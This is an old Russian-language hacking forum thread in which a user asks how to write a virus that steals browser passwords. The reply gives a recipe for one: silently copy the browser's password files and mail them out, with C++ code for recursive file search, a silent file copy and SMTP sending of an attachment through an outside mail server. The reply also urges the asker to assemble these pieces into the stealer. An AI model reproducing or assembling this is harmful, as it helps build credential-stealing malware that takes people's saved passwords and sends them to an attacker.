как написать вирусы которые тащить паролей от браузера
Вирусы На Dev C++
Сообщений 1 страница 4 из 4
Поделиться22011-07-23 21:47:37
ZZZ Сегодня напишу статью на эту тему но не на С++!! зачем именно С++? чем не устраивает бат? на форуме есть это тема! Статья
Поделиться32011-07-24 10:03:49
Lyubitel
проста интерсно
Поделиться42011-07-24 10:56:53
С++ не увлекаюсь,мало того литературы толком не читал,так пару раз когда нужно было,вообщем в любой книжке читаешь использование API,далее берёшь справочник по API функциям для c++ ну в принципе там везде можно подправлять их под любой язык(среду) программирования,вообщем тебе нужно будет воспользоваться функциями CopyFile(так как это во первых проще,а во вторых практически всегда известно точное место положение файлов) и отправкой всех этих файлов на почту,или FTP,на API просто получится вес меньше чем на самом C++.Но в принципе можешь использовать чистый C++ как тебе захочется.Или же можешь писать по поиску файлов,то есть сначала искать файлы потом копировать и удалять,по этому поводу для тебя может пригодится вот это:
Функция поиска файлов по маске в заданной и вложенных папках.
BOOL SearchFiles( LPCTSTR lpszFileName, // Директория и маска файлов для поиска LPSEARCHFUNC lpSearchFunc, // Функция, вызываемая для всех найденных файлов. BOOL bInnerFolders /* = TRUE */) // TRUE - поиск в подпапках. // FALSE - поиск только в заданной папке typedef void (*LPSEARCHFUNC)(LPCTSTR lpszFileName); BOOL SearchFiles(LPCTSTR lpszFileName, LPSEARCHFUNC lpSearchFunc, BOOL bInnerFolders = TRUE) { LPTSTR part; char tmp[MAX_PATH]; // временный массив char name[MAX_PATH]; HANDLE hSearch = NULL; WIN32_FIND_DATA wfd; memset(&wfd, 0, sizeof(WIN32_FIND_DATA)); // сначало поиск внутри вложенных папках ... if(bInnerFolders) { if(GetFullPathName(lpszFileName, MAX_PATH, tmp, &part) == 0) return FALSE; strcpy(name, part); strcpy(part, "*.*"); // если папки существуют, то делаем поиск wfd.dwFileAttributes = FILE_ATTRIBUTE_DIRECTORY; if (!((hSearch = FindFirstFile(tmp, &wfd)) == INVALID_HANDLE_VALUE)) do { // в каждой папке есть две папки с именами "." и ".." // и эти папки мы не трогаем // пропускаем папки "." и ".." if (!strncmp(wfd.cFileName, ".", 1) || !strncmp(wfd.cFileName, "..", 2)) continue; if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) // если мы нашли папку { char next[MAX_PATH]; if(GetFullPathName(lpszFileName, MAX_PATH, next, &part) == 0) return FALSE; strcpy(part, wfd.cFileName); strcat(next, "\\"); strcat(next, name); SearchFiles(next, lpSearchFunc, TRUE); } } while (FindNextFile(hSearch, &wfd)); // ищем следующий файл FindClose (hSearch); // заканчиваем поиск } if ((hSearch = FindFirstFile(lpszFileName, &wfd)) == INVALID_HANDLE_VALUE) return TRUE; // в противном случае выходим do if (!(wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) // если мы нашли файл { char file[MAX_PATH]; if(GetFullPathName(lpszFileName, MAX_PATH, file, &part) == 0) return FALSE; strcpy(part, wfd.cFileName); lpSearchFunc(file); } while (FindNextFile(hSearch, &wfd)); // ищем следующий файл FindClose (hSearch); // заканчиваем поиск return TRUE; } Пример 1. Поиск всех файлов с расширением txt в папке "C:\Dir1" и вложенных в нее папках. SearchFiles("C:\Dir1\*.txt", DoSomething, TRUE); Пример 2. Поиск всех файлов с именем name и любым расширением только в папке "C:\Dir1" SearchFiles("C:\Dir1\name.*", DoSomething, FALSE); Пример функции DoSomething void DoSomething(LPCTSTR lpszFileName) { MessageBox(NULL, lpszFileName, "Find File", MB_OK | MB_APPLMODAL); }
или же
Поиск файлов в каталоге и его подкаталогах
// Для поиска файлов в каталоге и его подкаталогах напишите следующий код: void ListFiles(AnsiString path, TStrings* List) { // Эта процедура выводит список файлов и вызывает // саму себя для всех каталогов TSearchRec sr; if (FindFirst(path+"*.*", faAnyFile, sr) == 0) { do { if (sr.Attr & faDirectory) { if (sr.Name!=".") if (sr.Name!="..") { ListFiles(path+sr.Name+"\\",List);// Рекурсивный вызов } } else { AnsiString Ext=ExtractFileExt(sr.Name).UpperCase(); if (Ext==".CPP") List->Add(path+sr.Name); } } while (FindNext(sr) == 0); FindClose(sr); } Application->ProcessMessages(); } void __fastcall TForm1::Button1Click(TObject *Sender) { ListFiles("c:\\",Memo1->Lines); }
копирование
// Для того чтобы скопировать файлы напишите следующий код: int MoveFiles( AnsiString slSourceDir, AnsiString slTargetDir, bool toCopy = true ) { SHFILEOPSTRUCT sh; sh.fFlags = FOF_NOCONFIRMATION | FOF_SILENT | FOF_FILESONLY; sh.wFunc = toCopy ? FO_COPY : FO_MOVE; sh.pFrom = slSourceDir.c_str(); sh.pTo = slTargetDir.c_str(); sh.hNameMappings = NULL; sh.lpszProgressTitle = NULL; return SHFileOperation ( &sh ); } void __fastcall TForm1::Button1Click(TObject *Sender) { //copy all from program files if(!MoveFiles("c:\\program files\\*.*", "c:\\temp")) ShowMessage("Ok"); else ShowMessage("No"); } // В функции MoveFiles первый параметр что копировать, // второй куда копировать
и вот тебе отправка
void __fastcall TForm1::Button1Click(TObject *Sender) { TIdSMTP *smtp = new TIdSMTP(Form1); // SMTP smtp->UserId = "От кого(мыло)"; smtp->Password = "********(пароль)"; smtp->Host = "smtp.mail.ru"; smtp->Port = 25; smtp->AuthenticationType = atLogin; smtp->Connect(); TIdMessage *msg = new TIdMessage(Form1); // MSG TIdAttachment *file = new TIdAttachment(msg->MessageParts, "C:\\exit.bmp"); // ATTACH if (smtp->Authenticate()) { msg->Subject = "Тема"; msg->MessageParts->Add(); msg->MessageParts->Items[0] = file; msg->Body->Text = "Текст Сообщения"; msg->From->Text = "от кого"; msg->Recipients->EMailAddresses = "Кому"; msg->Priority = TIdMessagePriority(mpHigh); try { smtp->Send(msg); } catch (Exception &exception) { // } smtp->Disconnect(); } delete file; // DELETE ATTACH delete msg; // DELETE MSG delete smtp; // DELETE SMTP }
Всё это тебе надо собрать в кучу,удалить лишние и добавить то что тебе нужно,вообщем как то так....
Сам не знаю C но если что могу попробовать написать подобный вирус именно на C++ (Borland иного компиля пока нету),но не много позже.
Хотя я так думаю тебе будет лучше самому попробовать всё это собрать в кучу.